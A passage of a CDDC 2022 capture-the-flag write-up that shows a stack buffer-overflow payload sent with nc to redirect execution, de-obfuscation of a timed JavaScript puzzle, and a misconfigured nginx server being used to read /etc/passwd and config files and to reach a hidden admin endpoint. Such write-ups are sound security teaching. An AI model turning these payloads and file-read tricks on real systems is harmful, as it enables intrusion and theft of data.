// ------------------------ Structures ------------------------

struct _IO_FILE {
    int32_t e0;
};

// ------------------- Function Prototypes --------------------

int64_t func(void);

// --------------------- Global Variables ---------------------

struct _IO_FILE * g1 = NULL; // 0x601080
struct _IO_FILE * g2 = NULL; // 0x601090

// ------------------------ Functions -------------------------

// Address range: 0x4008b7 - 0x40092e
int64_t func(void) {
    // 0x4008b7
    printf("Key : ");
    fflush(g1);
    int64_t buf; // bp-24, 0x4008b7
    read(0, &buf, 32);
    int32_t puts_rc; // 0x4008b7
    if (strncmp((char *)&buf, "weakpass", 10) != 0) {
        // 0x40091f
        puts_rc = puts("Login FAILED!!");
    } else {
        // 0x400911
        puts_rc = puts("Login Successful!");
    }
    // 0x40092b
    return puts_rc;
}

// Address range: 0x40092e - 0x40098a
int main(int argc, char ** argv) {
    // 0x40092e
    setvbuf(g1, NULL, 1, 0);
    setvbuf(g2, NULL, 1, 0);
    func();
    return 0;
}

// --------------- Dynamically Linked Functions ---------------

// int fflush(FILE * stream);
// int printf(const char * restrict format, ...);
// int puts(const char * s);
// ssize_t read(int fd, void * buf, size_t nbytes);
// int setvbuf(FILE * restrict stream, char * restrict buf, int modes, size_t n);
// int strncmp(const char * s1, const char * s2, size_t n);

// --------------------- Meta-Information ---------------------

// Detected compiler/packer: gcc (7.5.0)
// Detected functions: 2
~/.../cddc2022/somesharks $ 
Enter fullscreen mode Exit fullscreen mode

I tried overflowing the buffer to the RIP

  • I put weakpass\x00 to pass the password check (May as well)
  • Surprisingly the string doesn't terminate at the null byte, though that's the problem with read()
  • The disassembly (from objdump) gives you the address of the function printflag(). I put its full 64 bit address (including leading null bytes) at the end of the payload
  • I fuzzed (tested) the padding between the password and the address manually, such that the address would overwrite the RIP (instruction pointer register)
    • I used gdb to check the registers


┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ python3 -c "print('weakpass\x00'+'A'*15+'\x37\x08\x40\x00\x00')" > /tmp/t

┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ gdb overwriteme
GNU gdb (Debian 10.1-2+b1) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.                                   
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from overwriteme...
(No debugging symbols found in overwriteme)
(gdb) run </tmp/t
Starting program: /home/hacker/Stuff/cddc2022/overwriteme </tmp/t
Key : Login Successful!
                                                                                        Program received signal SIGSEGV, Segmentation fault.

0x00000a0000400837 in ?? ()
(gdb) q

┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ python3 -c "print('weakpass\x00'+'A'*15+'\x37\x08\x40\x00\x00\x00\x00\x00')" | nc 18.141.181.118 7013
Key : Login Successful!
flag : CDDC22{Funct10n_4ddress_Overw1ted_@H_!}

┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$
Enter fullscreen mode Exit fullscreen mode

CDDC22{Funct10n\_4ddress\_Overw1ted\_@H\_!}

Pwn - Unintialised

I lost my writeup stuff, but basically

  • login using password weakpass
  • Read flag from file to variable using the 3rd option
  • Read flag from variable using 4th option

Ring 4

Web - JS more

Firstly, I tried reading the source code of the webpage file given

┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ cat js_more.html
<html>
<head>
    <meta charset='utf-8'>
    <title>Execute ME?</title>
    <style>
        body{background-color:#000000;color:#ffffff;font-weight:bold;font-size:30px}.main{text-align:center;margin-top:40vh}.flag{text-align:center;background-image:linear-gradient(90deg,red,yellow,green,blue,purple);-webkit-background-clip:text;color:transparent;font-weight:bold;font-size:40px;margin:0px 15vw}
    </style>
</head>
<body>
    <div class="main">
        The Flag is<br />
    </div>
    <script>
        var _0x1201f9=_0x1a3a;(function(_0x5cb7d3,_0x27d23f){var _0x5eb7a1=_0x1a3a,_0x21409f=_0x5cb7d3();while(!![]){try{var _0x5e597b=-parseInt(_0x5eb7a1(0xee))/0x1+parseInt(_0x5eb7a1(0xef))/0x2*(-parseInt(_0x5eb7a1(0xeb))/0x3)+-parseInt(_0x5eb7a1(0xe7))/0x4*(parseInt(_0x5eb7a1(0xe4))/0x5)+-parseInt(_0x5eb7a1(0xe5))/0x6*(parseInt(_0x5eb7a1(0xf8))/0x7)+-parseInt(_0x5eb7a1(0xe8))/0x8*(parseInt(_0x5eb7a1(0xf4))/0x9)+-parseInt(_0x5eb7a1(0xe2))/0xa*(-parseInt(_0x5eb7a1(0xf0))/0xb)+-parseInt(_0x5eb7a1(0xf5))/0xc*(-parseInt(_0x5eb7a1(0xe1))/0xd);if(_0x5e597b===_0x27d23f)break;else _0x21409f['push'](_0x21409f['shift']());}catch(_0x25f023){_0x21409f['push'](_0x21409f['shift']());}}}(_0x5d00,0x60c52));function fa(_0x407309,_0xac7f0e){var _0x199c6b=_0x1a3a,_0x1fb69f='';for(var _0x301dc4=0x0;_0x301dc4<_0x407309[_0x199c6b(0xf1)];_0x301dc4++){_0x1fb69f+=String[_0x199c6b(0xf9)](_0x407309[_0x301dc4]['charCodeAt']()^_0xac7f0e%0x80);}return _0x1fb69f;}function _0x5d00(){var _0xe6d298=['Btoa','717866rOhIoX','2iUmMYl','16753HTOfbk','length','\x0aThe\x20Flag\x20is<br>','hover','52011QIGRor','6876byriEV','CDDC','main','129213UdXdci','fromCharCode','44707REhrQw','10NLXoNi','getElementsByClassName','10qafWGT','18ivdefL','<div\x20class=\x27flag\x27>','970936XpWFIH','424KAmkcF','</div>','encode','32106HGwwAO','TWNGTU0mRVNVQkIiTiVWYE1jQVZFUkJOcnpweFZBVkBNUnhNQnklY016YH12U15+dlVBVVMmQk5BUk5hVkMhO0JMXnZWQ1Z9TFJec0NCfEJ2c0ZRQUNebE5FbGFWQmw7QXpWfUFTWnNWQUJCQ0wgVXZ5XnlMTGB6cXlefk1BRVZ2U15VTSVCTkZSZH5DQlZhdkNVUnAlQnNWVUJnTUxOIE0lfHdFQ15jTUIhflZ6JFpBUn9aQSVebU5/RkVNRVJ9dlNRWlZTJW1MY2x9Q3khRk5TUlFNQ15xVUNac01jUk1NUnh9TUMgUVVCZH13J01VQXNOdlwmbE5DUUJzVlVSck1jTiZNJnBOVUJaeExjQlJOUiBSTlJOTkFcLWB3f1Z8cSZad015cHJ2emRCTVVCJ015XVJBeUZ9UEMhf3clbHBNJ1JRQSZ3U0FsYCJNc1JSdnlRUlVTWnNQVUZHVkVCQk14fHlFeUZNVUFWQkNDXVFyRUFScVNGenF5JXpMeV4gTXpeeUElTk1VRUJnQ0JWRk5cUlFWeVptRlwtInd/RmFxJl5hdnl3UlVDWn5NeHwjTSV4dlBMYHpBXEJ6TVJ8VkJ4eH1xemdSRVxSI01BRmBOJXh3TUNsTkFSUkJNJWd2cXlaRXZ5WnJVQmB4QHNCJ056UiZOU05yRVJCRU1zUmxNJlVWVlNaTU16LXlNJVZuTnpsd0ZTbHxFUlJnVkVCP0JzTkVNJnBxTGNCQ0BzUn5NU1lWcnladUxSTn5DQlpxTSdeTUFMZH1MUl55Q1NOYU1VcHlDeV5jVVVsYXdzQjt2elJVQyVWc1ZCXn5McyVyTXhzVVBTVmdQQyVgclJadUJDbH1wJlpuRlwtekNDTkNOU1laTCZsckZcWmdDRWNydlJ4TUJDRmxGXHx9dydOfkJMWVZCQyVsTnpaek15IT9CfyFQUEJBUkVSWn1MJEZWdkxaeXFSQmNQTFpnVnNSfE5CLW1CeSVxTFZgfncnQVJyRUJ8UFNaTlBBUmBMeU53dlItVVZcZ1FNeFpCd3NCV05VcHdBQkJNTGNsYUNTQVlNUng/dnlacU14QnlWRSV1cUNBXldFKSk='];_0x5d00=function(){return _0xe6d298;};return _0x5d00();}function fb(_0xcd3d66,_0x1414b5){return _0x1414b5%0x1f4==0x0&&(_0xcd3d66=atob(_0xcd3d66)),_0xcd3d66=fa(_0xcd3d66,_0x1414b5),_0xcd3d66;}function _0x1a3a(_0x558caf,_0x498ad9){var _0x5d005c=_0x5d00();return _0x1a3a=function(_0x1a3a7e,_0x46c4d8){_0x1a3a7e=_0x1a3a7e-0xe1;var _0x37da4c=_0x5d005c[_0x1a3a7e];return _0x37da4c;},_0x1a3a(_0x558caf,_0x498ad9);}function fc(_0x2f5e4d){var _0x4ea9f2=_0x1a3a;_0x2f5e4d=_0x4ea9f2(0xf2)+_0x2f5e4d+'\x0a',document[_0x4ea9f2(0xe3)](_0x4ea9f2(0xf7))[0x0]['innerHTML']=_0x2f5e4d;}var a='Array',b=_0x1201f9(0xed),c=_0x1201f9(0xf6),d=_0x1201f9(0xec),e=_0x1201f9(0xea),f='',g='',h=_0x1201f9(0xf3),i=0x1388,j=0x0,k=0x0,l=0x0,m=0x3,n=0x2,record=setInterval(function(){g='',j=l%0xa;if(j<0x5)for(k=0x0;k<j;k++){g=g+'.\x20';}else for(k=0x0;k<0xa-j;k++){g=g+'.\x20';}fc(g),l++;},0x3e8);d=atob(d);var decode=setInterval(function(){var _0x17ca40=_0x1201f9;i--,d=fb(d,i),i==0x0&&(clearTimeout(record),clearTimeout(decode),fc(_0x17ca40(0xe6)+d+_0x17ca40(0xe9)));},0xea60);
    </script>
</body>
</html>
┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$
Enter fullscreen mode Exit fullscreen mode

The javascript code looks obfuscated, so i deobfuscated it using https://deobfuscate.io/. The interesting parts of the code is the setInterval (record and decode variables). If i trigger it ahead of time (by modifying the code directly), I could show the flag earlier then the 3 days needed to wait for it.

var _0x1201f9 = _0x1a3a;
(function (_0x5cb7d3, _0x27d23f) {
  var _0x5eb7a1 = _0x1a3a, _0x21409f = _0x5cb7d3();
  while (true) {
    try {
      var _0x5e597b = -parseInt(_0x5eb7a1(238)) / 1 + parseInt(_0x5eb7a1(239)) / 2 * (-parseInt(_0x5eb7a1(235)) / 3) + -parseInt(_0x5eb7a1(231)) / 4 * (parseInt(_0x5eb7a1(228)) / 5) + -parseInt(_0x5eb7a1(229)) / 6 * (parseInt(_0x5eb7a1(248)) / 7) + -parseInt(_0x5eb7a1(232)) / 8 * (parseInt(_0x5eb7a1(244)) / 9) + -parseInt(_0x5eb7a1(226)) / 10 * (-parseInt(_0x5eb7a1(240)) / 11) + -parseInt(_0x5eb7a1(245)) / 12 * (-parseInt(_0x5eb7a1(225)) / 13);
      if (_0x5e597b === _0x27d23f) break; else _0x21409f.push(_0x21409f.shift());
    } catch (_0x25f023) {
      _0x21409f.push(_0x21409f.shift());
    }
  }
}(_0x5d00, 396370));
function fa(_0x407309, _0xac7f0e) {
  var _0x199c6b = _0x1a3a, _0x1fb69f = "";
  for (var _0x301dc4 = 0; _0x301dc4 < _0x407309[_0x199c6b(241)]; _0x301dc4++) {
    _0x1fb69f += String[_0x199c6b(249)](_0x407309[_0x301dc4].charCodeAt() ^ _0xac7f0e % 128);
  }
  return _0x1fb69f;
}
function _0x5d00() {
  var _0xe6d298 = ["Btoa", "717866rOhIoX", "2iUmMYl", "16753HTOfbk", "length", "\nThe Flag is<br>", "hover", "52011QIGRor", "6876byriEV", "CDDC", "main", "129213UdXdci", "fromCharCode", "44707REhrQw", "10NLXoNi", "getElementsByClassName", "10qafWGT", "18ivdefL", "<div class='flag'>", "970936XpWFIH", "424KAmkcF", "</div>", "encode", "32106HGwwAO", "TWNGTU0mRVNVQkIiTiVWYE1jQVZFUkJOcnpweFZBVkBNUnhNQnklY016YH12U15+dlVBVVMmQk5BUk5hVkMhO0JMXnZWQ1Z9TFJec0NCfEJ2c0ZRQUNebE5FbGFWQmw7QXpWfUFTWnNWQUJCQ0wgVXZ5XnlMTGB6cXlefk1BRVZ2U15VTSVCTkZSZH5DQlZhdkNVUnAlQnNWVUJnTUxOIE0lfHdFQ15jTUIhflZ6JFpBUn9aQSVebU5/RkVNRVJ9dlNRWlZTJW1MY2x9Q3khRk5TUlFNQ15xVUNac01jUk1NUnh9TUMgUVVCZH13J01VQXNOdlwmbE5DUUJzVlVSck1jTiZNJnBOVUJaeExjQlJOUiBSTlJOTkFcLWB3f1Z8cSZad015cHJ2emRCTVVCJ015XVJBeUZ9UEMhf3clbHBNJ1JRQSZ3U0FsYCJNc1JSdnlRUlVTWnNQVUZHVkVCQk14fHlFeUZNVUFWQkNDXVFyRUFScVNGenF5JXpMeV4gTXpeeUElTk1VRUJnQ0JWRk5cUlFWeVptRlwtInd/RmFxJl5hdnl3UlVDWn5NeHwjTSV4dlBMYHpBXEJ6TVJ8VkJ4eH1xemdSRVxSI01BRmBOJXh3TUNsTkFSUkJNJWd2cXlaRXZ5WnJVQmB4QHNCJ056UiZOU05yRVJCRU1zUmxNJlVWVlNaTU16LXlNJVZuTnpsd0ZTbHxFUlJnVkVCP0JzTkVNJnBxTGNCQ0BzUn5NU1lWcnladUxSTn5DQlpxTSdeTUFMZH1MUl55Q1NOYU1VcHlDeV5jVVVsYXdzQjt2elJVQyVWc1ZCXn5McyVyTXhzVVBTVmdQQyVgclJadUJDbH1wJlpuRlwtekNDTkNOU1laTCZsckZcWmdDRWNydlJ4TUJDRmxGXHx9dydOfkJMWVZCQyVsTnpaek15IT9CfyFQUEJBUkVSWn1MJEZWdkxaeXFSQmNQTFpnVnNSfE5CLW1CeSVxTFZgfncnQVJyRUJ8UFNaTlBBUmBMeU53dlItVVZcZ1FNeFpCd3NCV05VcHdBQkJNTGNsYUNTQVlNUng/dnlacU14QnlWRSV1cUNBXldFKSk="];
  _0x5d00 = function () {
    return _0xe6d298;
  };
  return _0x5d00();
}
function _0x1a3a(_0x558caf, _0x498ad9) {
  var _0x5d005c = _0x5d00();
  return _0x1a3a = function (_0x1a3a7e, _0x46c4d8) {
    _0x1a3a7e = _0x1a3a7e - 225;
    var _0x37da4c = _0x5d005c[_0x1a3a7e];
    return _0x37da4c;
  }, _0x1a3a(_0x558caf, _0x498ad9);
}
function fc(_0x2f5e4d) {
  var _0x4ea9f2 = _0x1a3a;
  _0x2f5e4d = _0x4ea9f2(242) + _0x2f5e4d + "\n", document[_0x4ea9f2(227)](_0x4ea9f2(247))[0].innerHTML = _0x2f5e4d;
}
var a = "Array", b = _0x1201f9(237), c = _0x1201f9(246), d = _0x1201f9(236), e = _0x1201f9(234), f = "", g = "", h = _0x1201f9(243), i = 5e3, j = 0, k = 0, l = 0, m = 3, n = 2, record = setInterval(function () {
  g = "", j = l % 10;
  if (j < 5) for (k = 0; k < j; k++) {
    g = g + ". ";
  } else for (k = 0; k < 10 - j; k++) {
    g = g + ". ";
  }
  fc(g), l++;
}, 1e3);
d = atob(d);
var decode = setInterval(function () {
  var _0x17ca40 = _0x1201f9;
  i--, d = (i % 500 == 0 && (d = atob(d)), d = fa(d, i), d), i == 0 && (clearTimeout(record), clearTimeout(decode), fc(_0x17ca40(230) + d + _0x17ca40(233)));
}, 6e4);
Enter fullscreen mode Exit fullscreen mode

Modified the code to

  • Reduce the decode timeout
  • Remove fg(g) function call from the record timeout
┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ cp js_more.html js_more.mod.html

┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ nano js_more.mod.html

┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ cat js_more.mod.html
<html>
<head>
    <meta charset='utf-8'>
    <title>Execute ME?</title>
    <style>
        body{background-color:#000000;color:#ffffff;font-weight:bold;font-size:30px}.main{text-align:center;margin-top:40vh}.flag{text-align:center;background-image:linear-gradient(90deg,red,yellow,green,blue,purple);-webkit-background-clip:text;color:transparent;font-weight:bold;font-size:40px;margin:0px 15vw}
    </style>
</head>
<body>
    <div class="main">
        The Flag is<br />
    </div>
    <script>
        var _0x1201f9=_0x1a3a;(function(_0x5cb7d3,_0x27d23f){var _0x5eb7a1=_0x1a3a,_0x21409f=_0x5cb7d3();while(!![]){try{var _0x5e597b=-parseInt(_0x5eb7a1(0xee))/0x1+parseInt(_0x5eb7a1(0xef))/0x2*(-parseInt(_0x5eb7a1(0xeb))/0x3)+-parseInt(_0x5eb7a1(0xe7))/0x4*(parseInt(_0x5eb7a1(0xe4))/0x5)+-parseInt(_0x5eb7a1(0xe5))/0x6*(parseInt(_0x5eb7a1(0xf8))/0x7)+-parseInt(_0x5eb7a1(0xe8))/0x8*(parseInt(_0x5eb7a1(0xf4))/0x9)+-parseInt(_0x5eb7a1(0xe2))/0xa*(-parseInt(_0x5eb7a1(0xf0))/0xb)+-parseInt(_0x5eb7a1(0xf5))/0xc*(-parseInt(_0x5eb7a1(0xe1))/0xd);if(_0x5e597b===_0x27d23f)break;else _0x21409f['push'](_0x21409f['shift']());}catch(_0x25f023){_0x21409f['push'](_0x21409f['shift']());}}}(_0x5d00,0x60c52));function fa(_0x407309,_0xac7f0e){var _0x199c6b=_0x1a3a,_0x1fb69f='';for(var _0x301dc4=0x0;_0x301dc4<_0x407309[_0x199c6b(0xf1)];_0x301dc4++){_0x1fb69f+=String[_0x199c6b(0xf9)](_0x407309[_0x301dc4]['charCodeAt']()^_0xac7f0e%0x80);}return _0x1fb69f;}function _0x5d00(){var _0xe6d298=['Btoa','717866rOhIoX','2iUmMYl','16753HTOfbk','length','\x0aThe\x20Flag\x20is<br>','hover','52011QIGRor','6876byriEV','CDDC','main','129213UdXdci','fromCharCode','44707REhrQw','10NLXoNi','getElementsByClassName','10qafWGT','18ivdefL','<div\x20class=\x27flag\x27>','970936XpWFIH','424KAmkcF','</div>','encode','32106HGwwAO','TWNGTU0mRVNVQkIiTiVWYE1jQVZFUkJOcnpweFZBVkBNUnhNQnklY016YH12U15+dlVBVVMmQk5BUk5hVkMhO0JMXnZWQ1Z9TFJec0NCfEJ2c0ZRQUNebE5FbGFWQmw7QXpWfUFTWnNWQUJCQ0wgVXZ5XnlMTGB6cXlefk1BRVZ2U15VTSVCTkZSZH5DQlZhdkNVUnAlQnNWVUJnTUxOIE0lfHdFQ15jTUIhflZ6JFpBUn9aQSVebU5/RkVNRVJ9dlNRWlZTJW1MY2x9Q3khRk5TUlFNQ15xVUNac01jUk1NUnh9TUMgUVVCZH13J01VQXNOdlwmbE5DUUJzVlVSck1jTiZNJnBOVUJaeExjQlJOUiBSTlJOTkFcLWB3f1Z8cSZad015cHJ2emRCTVVCJ015XVJBeUZ9UEMhf3clbHBNJ1JRQSZ3U0FsYCJNc1JSdnlRUlVTWnNQVUZHVkVCQk14fHlFeUZNVUFWQkNDXVFyRUFScVNGenF5JXpMeV4gTXpeeUElTk1VRUJnQ0JWRk5cUlFWeVptRlwtInd/RmFxJl5hdnl3UlVDWn5NeHwjTSV4dlBMYHpBXEJ6TVJ8VkJ4eH1xemdSRVxSI01BRmBOJXh3TUNsTkFSUkJNJWd2cXlaRXZ5WnJVQmB4QHNCJ056UiZOU05yRVJCRU1zUmxNJlVWVlNaTU16LXlNJVZuTnpsd0ZTbHxFUlJnVkVCP0JzTkVNJnBxTGNCQ0BzUn5NU1lWcnladUxSTn5DQlpxTSdeTUFMZH1MUl55Q1NOYU1VcHlDeV5jVVVsYXdzQjt2elJVQyVWc1ZCXn5McyVyTXhzVVBTVmdQQyVgclJadUJDbH1wJlpuRlwtekNDTkNOU1laTCZsckZcWmdDRWNydlJ4TUJDRmxGXHx9dydOfkJMWVZCQyVsTnpaek15IT9CfyFQUEJBUkVSWn1MJEZWdkxaeXFSQmNQTFpnVnNSfE5CLW1CeSVxTFZgfncnQVJyRUJ8UFNaTlBBUmBMeU53dlItVVZcZ1FNeFpCd3NCV05VcHdBQkJNTGNsYUNTQVlNUng/dnlacU14QnlWRSV1cUNBXldFKSk='];_0x5d00=function(){return _0xe6d298;};return _0x5d00();}function fb(_0xcd3d66,_0x1414b5){return _0x1414b5%0x1f4==0x0&&(_0xcd3d66=atob(_0xcd3d66)),_0xcd3d66=fa(_0xcd3d66,_0x1414b5),_0xcd3d66;}function _0x1a3a(_0x558caf,_0x498ad9){var _0x5d005c=_0x5d00();return _0x1a3a=function(_0x1a3a7e,_0x46c4d8){_0x1a3a7e=_0x1a3a7e-0xe1;var _0x37da4c=_0x5d005c[_0x1a3a7e];return _0x37da4c;},_0x1a3a(_0x558caf,_0x498ad9);}function fc(_0x2f5e4d){var _0x4ea9f2=_0x1a3a;_0x2f5e4d=_0x4ea9f2(0xf2)+_0x2f5e4d+'\x0a',document[_0x4ea9f2(0xe3)](_0x4ea9f2(0xf7))[0x0]['innerHTML']=_0x2f5e4d;}var a='Array',b=_0x1201f9(0xed),c=_0x1201f9(0xf6),d=_0x1201f9(0xec),e=_0x1201f9(0xea),f='',g='',h=_0x1201f9(0xf3),i=0x1388,j=0x0,k=0x0,l=0x0,m=0x3,n=0x2,record=setInterval(function(){g='',j=l%0xa;if(j<0x5)for(k=0x0;k<j;k++){g=g+'.\x20';}else for(k=0x0;k<0xa-j;k++){g=g+'.\x20';}l++;},0x3e8);d=atob(d);var decode=setInterval(function(){var _0x17ca40=_0x1201f9;i--,d=fb(d,i),i==0x0&&(clearTimeout(record),clearTimeout(decode),fc(_0x17ca40(0xe6)+d+_0x17ca40(0xe9)));},0x01);
    </script>
</body>
</html>

┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$
Enter fullscreen mode Exit fullscreen mode

After that just wait for less than a min for the flag to show up

Image description

CDDC22{Th1s\_is\_FLAG\_4ft3r\_tHe\_c0mpeT1tI0n;->}

Web - Test Page

Test Site

This challenge mainly asks you to find the vulnerability in the nginx server.

Out on a whim, I ran nikto, a web vulnerability scanner, on the webpage. This got me some interesting results, most notably

  • You can access /etc/passwd
  • There is a /test directory, which lists the contents inside. However, the .bak files are unaccessible
┌──(kali㉿localhost)-[~]
└─$ nikto -h http://54.255.223.3:7777/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          54.255.223.3
+ Target Hostname:    54.255.223.3
+ Target Port:        7777
+ Start Time:         2022-06-22 09:06:00 (GMT0)
---------------------------------------------------------------------------
+ Server: nginx/1.21.1
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: http://54.255.223.3:7777/index.html
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to / over HTTP/1.0. The value is "172.18.0.3".
+ ///etc/passwd: The server install allows reading of any system file by adding an extra '/' to the URL.
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-3268: /test/: Directory indexing found.
+ OSVDB-3092: /test/: This might be interesting...
+ OSVDB-3092: /etc/passwd: An '/etc/passwd' file is available via the web site.
+ 7917 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2022-06-22 09:15:51 (GMT0) (591 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

┌──(kali㉿localhost)-[~]
└─$
Enter fullscreen mode Exit fullscreen mode

Test to access /etc/passwd

┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
nginx:x:101:101:nginx user,,,:/nonexistent:/bin/false

┌──(kali㉿localhost)-[~]
└─$
Enter fullscreen mode Exit fullscreen mode

Accessing the /test endpoint

┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/test/
<html>
<head><title>Index of /test/</title></head>
<body>
<h1>Index of /test/</h1><hr><pre><a href="../">../</a>
<a href="files/">files/</a>                                             20-May-2022 02:40                   -
<a href="static/">static/</a>                                            20-May-2022 02:40                   -
</pre><hr></body>
</html>

┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/test/files/
<html>
<head><title>Index of /test/files/</title></head>
<body>
<h1>Index of /test/files/</h1><hr><pre><a href="../">../</a>
<a href="1.bak">1.bak</a>                                              19-May-2022 12:33                 523
<a href="2.bak">2.bak</a>                                              19-May-2022 12:33                 512
</pre><hr></body>
</html>

┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/test/files/1.bak
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.21.1</center>
</body>
</html>

┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/test/files/2.bak
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.21.1</center>
</body>
</html>

┌──(kali㉿localhost)-[~]
└─$ 
Enter fullscreen mode Exit fullscreen mode

Since you could access /etc/passwd, I was thinking if you could access files from the root directory (provided the nginx user can access it). I tried accessing the nginx configuration file at /etc/nginx/nginx.conf (Common location)

┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/etc/nginx/nginx.conf
user nginx;

events {
  worker_connections 512;
}

http {
  server {
    listen 7777;

    location / {
      root /;
      try_files /usr/share/nginx/html/$uri $uri @go;
    }

    location @go {
      return 302 /index.html;
    }

    location /test {
      autoindex on;
      alias /usr/share/nginx/html/test/;

      location /test/static {
        alias /usr/share/nginx/html/test/static/;
      }

      location /test/files/ {
        location ~* .(bak)$ {
          return 403;
        }
      }
    }

    location /h1dd3n-3ndp01nt {
      rewrite /h1dd3n-3ndp01nt/(.*) /$1 break;
      proxy_pass http://internal-server:8888;
    }
  }
}
┌──(kali㉿localhost)-[~]
└─$ 
Enter fullscreen mode Exit fullscreen mode

This nginx config file shows a few things

  • The root of the web server is / of the file system. This confirms that you can read all files from root provided the nginx user has the proper permissions
  • /test endpoint on the webserver is /usr/share/nginx/html/test/ on the file system
    • The .bak files is only blocked through the /test/files/ endpoint
  • There is a /h1dd3n-3ndp01nt which directs request to an internal server

To access the .bak files, instead of using the /test/ endpoint, we could traverse to the files from root.

┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/usr/share/nginx/html/test/files/1.bak
user nginx;

events {
  worker_connections 512;
}

http {
  server {
    listen 7777;

    location / {
      root /;
      try_files /usr/share/nginx/html/$uri $uri @go;
    }

    location @go {
      return 302 /index.html;
    }

    location /test {
      autoindex on;
      alias /usr/share/nginx/html/test/;

      location /test/static {
        alias /usr/share/nginx/html/test/static/;
      }

      location /test/files/ {
        location ~* .(bak)$ {
          return 403;
        }
      }
    }
...
...
...
┌──(kali㉿localhost)-[~]
└─$ 
┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/usr/share/nginx/html/test/files/2.bak
package main

import (
        "fmt"
        "log"
        "net/http"
        "os"

        "github.com/gorilla/mux"
)

func handlePing(w http.ResponseWriter, r *http.Request) {
        fmt.Fprint(w, "pong")
}

func handleAdmin(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("Flag", os.Getenv("FLAG"))
}

func main() {
        r := mux.NewRouter()
        r.HandleFunc("/ping", handlePing).Methods(http.MethodGet)
        r.HandleFunc("/admin", handleAdmin).Methods(http.MethodPut)

        if err := http.ListenAndServe(":8888", r); err != nil {
                log.Fatalln(err)
        }
}

┌──(kali㉿localhost)-[~]
└─$
Enter fullscreen mode Exit fullscreen mode

The first .bak file looks like a backup nginx configuration file. The second looks like the code to the hidden endpoint, where we can access the flag by giving a PUT endpoint to the /admin endpoint

I then tried to access the endpoint.

┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/h1dd3n-3ndp01nt/admin -X PUT  -v
*   Trying 54.255.223.3:7777...
* Connected to 54.255.223.3 (54.255.223.3) port 7777 (#0)
> PUT /h1dd3n-3ndp01nt/admin HTTP/1.1
> Host: 54.255.223.3:7777
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.21.1
< Date: Wed, 22 Jun 2022 10:54:13 GMT
< Content-Length: 0
< Connection: keep-alive
< Flag: CDDC22{dlrjtdmsvmfformdlqslek.gotjrgoehdkandmlaldjqtdjdy~answpvnfdjwntutjrkatkgkqslek!}
<
* Connection #0 to host 54.255.223.3 left intact

┌──(kali㉿localhost)-[~]
└─$
Enter fullscreen mode Exit fullscreen mode

CDDC22{dlrjtdmsvmfformdlqslek.gotjrgoehdkandmlaldjqtdjdy~answpvnfdjwntutjrkatkgkqslek!}

Ring 3

Web - SPA

This is a challenge asking you to login to the administrator account.

